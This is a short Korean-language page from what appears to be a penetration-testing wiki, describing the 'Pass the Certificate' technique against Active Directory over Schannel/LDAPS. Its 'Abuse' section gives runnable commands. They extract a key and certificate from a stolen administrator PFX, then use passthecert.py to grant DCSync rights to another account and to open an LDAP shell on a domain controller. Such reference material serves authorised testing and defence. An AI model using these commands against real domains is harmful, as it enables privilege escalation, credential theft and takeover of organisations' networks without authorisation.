> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/impersonation/pass-the-certificate.md).

# Pass the Certificate

PKINIT이 지원되지 않는 도메인 환경에서는 클라이언트의 인증서를 탈취하더라도 커버로스 인증이 불가능하기 때문에 해당 사용자를 사칭하는 행위가 어렵습니다. 반면 Schannel 통신은 3-way-handshake 과정에서 인증서를 통해 사용자 인증이 이뤄지며, LDAPs와 같은 프로토콜은 해당 통신을 지원합니다.

탈취한 인증서의 주체가 높은 권한이 있는 경우 특정 객체에게 DCSync 권한을 부여하거나, ldap 쉘을 획득하는 것이 가능합니다.

## Abuse

{% embed url="<https://github.com/AlmondOffSec/PassTheCert.git>" %}

<pre class="language-bash"><code class="lang-bash"><strong># 인증서로부터 공개 키 / 비밀 키 덤프
</strong>certipy-ad cert -pfx administrator.pfx -nokey -out administrator.crt
certipy-ad cert -pfx administrator.pfx -nocert -out administrator.key

<strong># Mick3y 계정에 DCSync 권한 부여
</strong>python3 passthecert.py -action modify_user -crt administrator.crt -key administrator.key -domain contoso.com -dc-ip 192.168.1.11 -target Mick3y -elevate

<strong># ldap-shell 획득
</strong>python3 passthecert.py -action ldap-shell -crt administrator.crt -key administrator.key -domain contoso.com -dc-ip 192.168.1.11
</code></pre>

## References

{% embed url="<https://www.thehacker.recipes/ad/movement/schannel/passthecert>" %}
